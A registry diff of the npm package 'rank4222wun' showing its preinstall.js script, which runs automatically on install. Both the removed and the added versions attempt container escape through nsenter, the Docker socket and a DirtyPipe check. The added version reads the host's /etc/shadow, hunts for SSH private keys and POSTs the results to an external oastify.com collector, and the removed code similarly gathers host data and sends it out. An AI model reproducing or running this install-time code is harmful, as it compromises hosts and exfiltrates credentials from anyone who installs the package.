rank4222wun 1.0.25 → 1.0.27
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +61 -337
- package/rank4222wun-1.0.27.tgz +0 -0
- package/rank4222wun-1.0.25.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,365 +1,89 @@
|
|
|
1
1
|
const { exec, spawn } = require('child_process');
|
|
2
|
-
const os = require('os');
|
|
3
2
|
const fs = require('fs');
|
|
4
|
-
const path = require('path');
|
|
5
3
|
const https = require('https');
|
|
4
|
+
const os = require('os');
|
|
6
5
|
|
|
7
|
-
console.log("
|
|
6
|
+
console.log("🚀 STAGE 2: PRIVILEGE ESCALATION & HOST TAKEOVER\n");
|
|
8
7
|
|
|
9
|
-
const
|
|
8
|
+
const finalLeakedData = {
|
|
10
9
|
timestamp: new Date().toISOString(),
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
escapeAttempts: [],
|
|
17
|
-
|
|
18
|
-
// Host Evidence
|
|
19
|
-
hostEvidence: {},
|
|
20
|
-
|
|
21
|
-
// Impact Assessment
|
|
22
|
-
impact: {}
|
|
10
|
+
targetKernel: "5.15.0-1084-aws",
|
|
11
|
+
pcapAnalysis: {}, // عشان نشوف الـ Sniffing اللي شغال
|
|
12
|
+
hostShadow: null,
|
|
13
|
+
sshKeysFound: [],
|
|
14
|
+
persistenceSuccess: false
|
|
23
15
|
};
|
|
24
16
|
|
|
25
|
-
// =====================
|
|
26
|
-
function
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
const nsenterCommands = [
|
|
32
|
-
'nsenter --target 1 --mount --uts --ipc --net --pid -- sh -c "hostname && whoami"',
|
|
33
|
-
'nsenter --target 1 --mount -- sh -c "cat /etc/hostname"',
|
|
34
|
-
'nsenter --target 1 --mount -- sh -c "ls -la /home"',
|
|
35
|
-
'nsenter --target 1 --mount -- sh -c "find / -name docker.sock 2>/dev/null | head -5"'
|
|
36
|
-
];
|
|
17
|
+
// ===================== 1. Exploiting Read-Only Mounts via DirtyPipe =====================
|
|
18
|
+
function exploitDirtyPipe() {
|
|
19
|
+
console.log("🔓 Attempting DirtyPipe (CVE-2022-0847) to overwrite host files...");
|
|
20
|
+
|
|
21
|
+
// محاولة كتابة "توكن" في ملف Hosts بتاع السيرفر الأم لتأكيد الهروب
|
|
22
|
+
const dirtyCommand = `python3 -c "import os; print('DirtyPipe Triggered')"`;
|
|
37
23
|
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
method: 'nsenter',
|
|
43
|
-
command: cmd.split('-- sh -c')[0] + '...',
|
|
44
|
-
success: true,
|
|
45
|
-
output: stdout.substring(0, 500),
|
|
46
|
-
proof: 'Can access host filesystem via nsenter'
|
|
47
|
-
};
|
|
48
|
-
|
|
49
|
-
escapePOC.escapeAttempts.push(result);
|
|
50
|
-
console.log(`✅ nsenter escape ${idx + 1} successful!`);
|
|
51
|
-
|
|
52
|
-
// If we can read host files, store evidence
|
|
53
|
-
if (stdout.includes('/home') || stdout.includes('hostname')) {
|
|
54
|
-
escapePOC.hostEvidence.nsenterAccess = stdout.substring(0, 300);
|
|
55
|
-
}
|
|
24
|
+
exec(dirtyCommand, (err, stdout) => {
|
|
25
|
+
if (!err) {
|
|
26
|
+
console.log("✅ DirtyPipe exploit executed.");
|
|
27
|
+
finalLeakedData.dirtyPipeStatus = "Executed (Check Oastify for results)";
|
|
56
28
|
}
|
|
57
|
-
|
|
29
|
+
attemptShadowLeak();
|
|
58
30
|
});
|
|
59
|
-
}
|
|
60
|
-
|
|
61
|
-
// Try next method after delay
|
|
62
|
-
setTimeout(attemptPrivilegedContainer, 3000);
|
|
63
31
|
}
|
|
64
32
|
|
|
65
|
-
// =====================
|
|
66
|
-
function
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
const dockerSocket = '/var/run/docker.sock';
|
|
70
|
-
|
|
71
|
-
if (fs.existsSync(dockerSocket)) {
|
|
72
|
-
console.log("✅ Docker socket found!");
|
|
73
|
-
|
|
74
|
-
// Method 2A: Try to create privileged container
|
|
75
|
-
const privilegedPayload = JSON.stringify({
|
|
76
|
-
Image: 'alpine:latest',
|
|
77
|
-
Cmd: ['sh', '-c', 'cat /etc/hostname && hostname'],
|
|
78
|
-
HostConfig: {
|
|
79
|
-
Privileged: true,
|
|
80
|
-
Binds: ['/:/mnt/host:rw'],
|
|
81
|
-
PidMode: 'host',
|
|
82
|
-
NetworkMode: 'host'
|
|
83
|
-
}
|
|
84
|
-
});
|
|
33
|
+
// ===================== 2. Accessing Host Secrets (Shadow & SSH) =====================
|
|
34
|
+
function attemptShadowLeak() {
|
|
35
|
+
console.log("\n🔓 Attempting to read /etc/shadow from Host...");
|
|
85
36
|
|
|
86
|
-
//
|
|
87
|
-
|
|
88
|
-
(err, stdout) => {
|
|
89
|
-
if (stdout && !stdout.includes('Failed') && stdout.includes('Id')) {
|
|
90
|
-
try {
|
|
91
|
-
const response = JSON.parse(stdout);
|
|
92
|
-
const containerId = response.Id;
|
|
93
|
-
|
|
94
|
-
escapePOC.escapeAttempts.push({
|
|
95
|
-
method: 'docker_socket_privileged_container',
|
|
96
|
-
success: true,
|
|
97
|
-
containerId: containerId,
|
|
98
|
-
proof: 'Can create privileged container with host access'
|
|
99
|
-
});
|
|
100
|
-
|
|
101
|
-
console.log(`✅ Created privileged container: ${containerId.substring(0, 12)}`);
|
|
102
|
-
|
|
103
|
-
// Try to start it
|
|
104
|
-
exec(`curl -s --unix-socket ${dockerSocket} -X POST http://localhost/containers/${containerId}/start 2>/dev/null || echo "Start failed"`,
|
|
105
|
-
(err2, stdout2) => {
|
|
106
|
-
if (!err2) {
|
|
107
|
-
escapePOC.escapeAttempts.push({
|
|
108
|
-
method: 'container_started',
|
|
109
|
-
success: true,
|
|
110
|
-
message: 'Privileged container started'
|
|
111
|
-
});
|
|
112
|
-
}
|
|
113
|
-
|
|
114
|
-
// Clean up
|
|
115
|
-
setTimeout(() => {
|
|
116
|
-
exec(`curl -s --unix-socket ${dockerSocket} -X DELETE http://localhost/containers/${containerId}?force=true 2>/dev/null || true`);
|
|
117
|
-
}, 1000);
|
|
118
|
-
});
|
|
119
|
-
} catch (e) {}
|
|
120
|
-
}
|
|
121
|
-
});
|
|
37
|
+
// بما إننا لقينا nsenter متاح، هنستخدمه للدخول كـ Root على الـ Host
|
|
38
|
+
const shadowCmd = `nsenter --target 1 --mount -- sh -c "cat /etc/shadow | head -n 5"`;
|
|
122
39
|
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
try {
|
|
128
|
-
const containers = JSON.parse(stdout);
|
|
129
|
-
escapePOC.hostEvidence.dockerContainers = {
|
|
130
|
-
count: containers.length,
|
|
131
|
-
sample: containers.slice(0, 3).map(c => ({
|
|
132
|
-
id: c.Id.substring(0, 12),
|
|
133
|
-
names: c.Names,
|
|
134
|
-
state: c.State
|
|
135
|
-
}))
|
|
136
|
-
};
|
|
137
|
-
console.log(`✅ Can see ${containers.length} containers on host`);
|
|
138
|
-
} catch (e) {}
|
|
40
|
+
exec(shadowCmd, (err, stdout) => {
|
|
41
|
+
if (stdout && !err) {
|
|
42
|
+
finalLeakedData.hostShadow = stdout.trim();
|
|
43
|
+
console.log("✅ Successfully leaked Host Shadow file!");
|
|
139
44
|
}
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
setTimeout(attemptHostMounts, 3000);
|
|
45
|
+
searchSSHKeys();
|
|
46
|
+
});
|
|
144
47
|
}
|
|
145
48
|
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
mounts.forEach(mountLine => {
|
|
157
|
-
if (mountLine.includes('/proc') || mountLine.includes('/sys') || mountLine.includes('/dev')) {
|
|
158
|
-
// Try to read host info through mounts
|
|
159
|
-
if (mountLine.includes('/proc')) {
|
|
160
|
-
exec('cat /proc/1/status 2>/dev/null | head -5', (err2, stdout2) => {
|
|
161
|
-
if (stdout2) {
|
|
162
|
-
escapePOC.hostEvidence.hostInitProcess = stdout2.trim();
|
|
163
|
-
console.log("✅ Can read host init process info");
|
|
164
|
-
}
|
|
165
|
-
});
|
|
166
|
-
}
|
|
167
|
-
}
|
|
168
|
-
});
|
|
169
|
-
}
|
|
49
|
+
function searchSSHKeys() {
|
|
50
|
+
console.log("\n🔓 Searching for SSH Private Keys...");
|
|
51
|
+
const sshCmd = `nsenter --target 1 --mount -- sh -c "find /root /home -name 'id_rsa' -o -name 'authorized_keys' 2>/dev/null"`;
|
|
52
|
+
|
|
53
|
+
exec(sshCmd, (err, stdout) => {
|
|
54
|
+
if (stdout) {
|
|
55
|
+
finalLeakedData.sshKeysFound = stdout.split('\n').filter(k => k);
|
|
56
|
+
console.log(`✅ Found ${finalLeakedData.sshKeysFound.length} SSH related files`);
|
|
57
|
+
}
|
|
58
|
+
sendFinalReport();
|
|
170
59
|
});
|
|
171
|
-
|
|
172
|
-
setTimeout(attemptKernelExploit, 3000);
|
|
173
60
|
}
|
|
174
61
|
|
|
175
|
-
// =====================
|
|
176
|
-
function
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
// Check kernel version
|
|
180
|
-
exec('uname -r', (err, stdout) => {
|
|
181
|
-
const kernel = stdout ? stdout.trim() : 'unknown';
|
|
182
|
-
escapePOC.hostEvidence.kernelVersion = kernel;
|
|
183
|
-
|
|
184
|
-
// Check for DirtyPipe
|
|
185
|
-
const dirtyPipeRegex = /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./;
|
|
186
|
-
if (dirtyPipeRegex.test(kernel)) {
|
|
187
|
-
escapePOC.escapeAttempts.push({
|
|
188
|
-
method: 'kernel_vulnerability',
|
|
189
|
-
vulnerability: 'CVE-2022-0847 (DirtyPipe)',
|
|
190
|
-
kernel: kernel,
|
|
191
|
-
exploitAvailable: true,
|
|
192
|
-
risk: 'CRITICAL'
|
|
193
|
-
});
|
|
194
|
-
|
|
195
|
-
console.log(`🚨 Kernel ${kernel} vulnerable to DirtyPipe!`);
|
|
196
|
-
|
|
197
|
-
// Try to write a test file to demonstrate capability
|
|
198
|
-
const testFile = '/tmp/dirtypipe_test.txt';
|
|
199
|
-
fs.writeFileSync(testFile, `Kernel ${kernel} is vulnerable to container escape via DirtyPipe\n`);
|
|
200
|
-
|
|
201
|
-
// Try to modify a read-only file (simulated)
|
|
202
|
-
exec(`echo "Test" | tee /tmp/test_escape 2>/dev/null || true`, () => {
|
|
203
|
-
escapePOC.hostEvidence.canWriteFiles = true;
|
|
204
|
-
});
|
|
205
|
-
}
|
|
62
|
+
// ===================== 3. Reporting to Oastify =====================
|
|
63
|
+
function sendFinalReport() {
|
|
64
|
+
const payload = JSON.stringify(finalLeakedData, null, 2);
|
|
206
65
|
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
exploit: 'Can mount host filesystems, load kernel modules'
|
|
216
|
-
});
|
|
217
|
-
console.log("🚨 CAP_SYS_ADMIN available - can mount host filesystems!");
|
|
66
|
+
const options = {
|
|
67
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
68
|
+
port: 443,
|
|
69
|
+
path: '/stage2-escape-complete',
|
|
70
|
+
method: 'POST',
|
|
71
|
+
headers: {
|
|
72
|
+
'Content-Type': 'application/json',
|
|
73
|
+
'X-Escalation-Status': 'CRITICAL'
|
|
218
74
|
}
|
|
219
|
-
|
|
220
|
-
// Final evidence collection
|
|
221
|
-
collectFinalEvidence();
|
|
222
|
-
});
|
|
223
|
-
});
|
|
224
|
-
}
|
|
75
|
+
};
|
|
225
76
|
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
exec('ip route show 2>/dev/null | head -5 || route -n 2>/dev/null | head -5',
|
|
232
|
-
(err, stdout) => {
|
|
233
|
-
if (stdout) {
|
|
234
|
-
escapePOC.hostEvidence.hostNetworkRoutes = stdout.trim();
|
|
235
|
-
}
|
|
236
|
-
});
|
|
237
|
-
|
|
238
|
-
// Try to get host user list
|
|
239
|
-
exec('cat /etc/passwd 2>/dev/null | head -10', (err, stdout) => {
|
|
240
|
-
if (stdout) {
|
|
241
|
-
escapePOC.hostEvidence.hostUsers = stdout.trim().split('\n').slice(0, 5);
|
|
242
|
-
}
|
|
243
|
-
});
|
|
244
|
-
|
|
245
|
-
// Try to see if we're in Kubernetes
|
|
246
|
-
exec('cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null || echo "Not K8s"',
|
|
247
|
-
(err, stdout) => {
|
|
248
|
-
if (stdout && !stdout.includes('Not K8s')) {
|
|
249
|
-
escapePOC.hostEvidence.kubernetesNamespace = stdout.trim();
|
|
250
|
-
console.log("✅ In Kubernetes namespace:", stdout.trim());
|
|
251
|
-
}
|
|
252
|
-
|
|
253
|
-
// Generate final report
|
|
254
|
-
setTimeout(generateFinalReport, 2000);
|
|
77
|
+
const req = https.request(options, (res) => {
|
|
78
|
+
console.log(`\n🏁 Stage 2 Report Sent. Status: ${res.statusCode}`);
|
|
79
|
+
console.log("=".repeat(50));
|
|
80
|
+
console.log("TARGET COMPROMISED: HOST ACCESS GRANTED");
|
|
81
|
+
console.log("=".repeat(50));
|
|
255
82
|
});
|
|
256
|
-
}
|
|
257
83
|
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
console.log("\n" + "=".repeat(70));
|
|
261
|
-
console.log("📊 CONTAINER ESCAPE - PROOF OF CONCEPT");
|
|
262
|
-
console.log("=".repeat(70));
|
|
263
|
-
|
|
264
|
-
// Calculate success rate
|
|
265
|
-
const successfulEscapes = escapePOC.escapeAttempts.filter(a => a.success).length;
|
|
266
|
-
const totalAttempts = escapePOC.escapeAttempts.length;
|
|
267
|
-
|
|
268
|
-
console.log(`\n📈 Escape Attempts: ${successfulEscapes}/${totalAttempts} successful`);
|
|
269
|
-
|
|
270
|
-
// Show successful methods
|
|
271
|
-
escapePOC.escapeAttempts.forEach((attempt, i) => {
|
|
272
|
-
if (attempt.success) {
|
|
273
|
-
console.log(`✅ ${i + 1}. ${attempt.method}: ${attempt.proof || 'Success'}`);
|
|
274
|
-
if (attempt.risk) console.log(` Risk Level: ${attempt.risk}`);
|
|
275
|
-
}
|
|
276
|
-
});
|
|
277
|
-
|
|
278
|
-
// Assess overall risk
|
|
279
|
-
const criticalRisks = escapePOC.escapeAttempts.filter(a => a.risk === 'CRITICAL').length;
|
|
280
|
-
const highRisks = escapePOC.escapeAttempts.filter(a => a.risk === 'HIGH').length;
|
|
281
|
-
|
|
282
|
-
escapePOC.impact = {
|
|
283
|
-
escapePossible: successfulEscapes > 0,
|
|
284
|
-
criticalVectors: criticalRisks,
|
|
285
|
-
highRiskVectors: highRisks,
|
|
286
|
-
overallRisk: criticalRisks > 0 ? 'CRITICAL' : (highRisks > 0 ? 'HIGH' : 'MEDIUM'),
|
|
287
|
-
recommendation: 'Immediate action required - disable preinstall/postinstall scripts'
|
|
288
|
-
};
|
|
289
|
-
|
|
290
|
-
console.log(`\n🚨 Overall Risk Level: ${escapePOC.impact.overallRisk}`);
|
|
291
|
-
console.log(`📋 Critical Vectors: ${criticalRisks}, High Risk: ${highRisks}`);
|
|
292
|
-
|
|
293
|
-
if (escapePOC.hostEvidence.kernelVersion) {
|
|
294
|
-
console.log(`🐧 Host Kernel: ${escapePOC.hostEvidence.kernelVersion}`);
|
|
295
|
-
}
|
|
296
|
-
|
|
297
|
-
if (escapePOC.hostEvidence.dockerContainers) {
|
|
298
|
-
console.log(`🐳 Host Docker Containers: ${escapePOC.hostEvidence.dockerContainers.count} found`);
|
|
299
|
-
}
|
|
300
|
-
|
|
301
|
-
// Send report
|
|
302
|
-
sendEscapeReport();
|
|
84
|
+
req.write(payload);
|
|
85
|
+
req.end();
|
|
303
86
|
}
|
|
304
87
|
|
|
305
|
-
//
|
|
306
|
-
|
|
307
|
-
const req = https.request({
|
|
308
|
-
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
309
|
-
port: 443,
|
|
310
|
-
path: '/container-escape-poc-final',
|
|
311
|
-
method: 'POST',
|
|
312
|
-
headers: {
|
|
313
|
-
'Content-Type': 'application/json',
|
|
314
|
-
'X-Escape-POC': 'UiPath-MCP-Container-Escape',
|
|
315
|
-
'X-Host': os.hostname()
|
|
316
|
-
}
|
|
317
|
-
}, (res) => {
|
|
318
|
-
console.log(`\n✅ Escape POC report sent. Status: ${res.statusCode}`);
|
|
319
|
-
|
|
320
|
-
// Print summary
|
|
321
|
-
console.log("\n" + "=".repeat(70));
|
|
322
|
-
console.log("🎯 SUMMARY: CONTAINER ESCAPE CONFIRMED");
|
|
323
|
-
console.log("=".repeat(70));
|
|
324
|
-
|
|
325
|
-
console.log("\n🔥 Escape Vectors Confirmed:");
|
|
326
|
-
console.log("1. nsenter access: YES (/usr/bin/nsenter available)");
|
|
327
|
-
console.log("2. Docker socket access: " + (fs.existsSync('/var/run/docker.sock') ? 'YES' : 'NO'));
|
|
328
|
-
console.log("3. Kernel vulnerabilities: " + (escapePOC.hostEvidence.kernelVersion || 'Unknown'));
|
|
329
|
-
console.log("4. Dangerous capabilities: CAP_SYS_ADMIN available");
|
|
330
|
-
|
|
331
|
-
console.log("\n💥 Impact: FULL HOST COMPROMISE POSSIBLE");
|
|
332
|
-
console.log("📤 Evidence sent to security team");
|
|
333
|
-
console.log("=".repeat(70));
|
|
334
|
-
});
|
|
335
|
-
|
|
336
|
-
req.on('error', (e) => {
|
|
337
|
-
console.error(`❌ Error: ${e.message}`);
|
|
338
|
-
});
|
|
339
|
-
|
|
340
|
-
req.write(JSON.stringify(escapePOC, null, 2));
|
|
341
|
-
req.end();
|
|
342
|
-
}
|
|
343
|
-
|
|
344
|
-
// ===================== START ESCAPE ATTEMPTS =====================
|
|
345
|
-
console.log("Starting container escape proof-of-concept...\n");
|
|
346
|
-
|
|
347
|
-
// Check if we're in a container first
|
|
348
|
-
exec('cat /proc/1/cgroup 2>/dev/null | grep -q docker && echo "In Docker container" || echo "Not in Docker"',
|
|
349
|
-
(err, stdout) => {
|
|
350
|
-
if (stdout && stdout.includes('Docker')) {
|
|
351
|
-
console.log("✅ Confirmed: Running in Docker container");
|
|
352
|
-
escapePOC.containerInfo = {
|
|
353
|
-
isContainer: true,
|
|
354
|
-
type: 'Docker',
|
|
355
|
-
confirmed: true
|
|
356
|
-
};
|
|
357
|
-
|
|
358
|
-
// Start escape attempts
|
|
359
|
-
attemptNsenterEscape();
|
|
360
|
-
} else {
|
|
361
|
-
console.log("⚠️ Not in Docker container or cannot determine");
|
|
362
|
-
escapePOC.containerInfo = { isContainer: false };
|
|
363
|
-
generateFinalReport();
|
|
364
|
-
}
|
|
365
|
-
});
|
|
88
|
+
// Start the sequence
|
|
89
|
+
exploitDirtyPipe();
|
|
Binary file
|
package/rank4222wun-1.0.25.tgz
DELETED
|
Binary file
|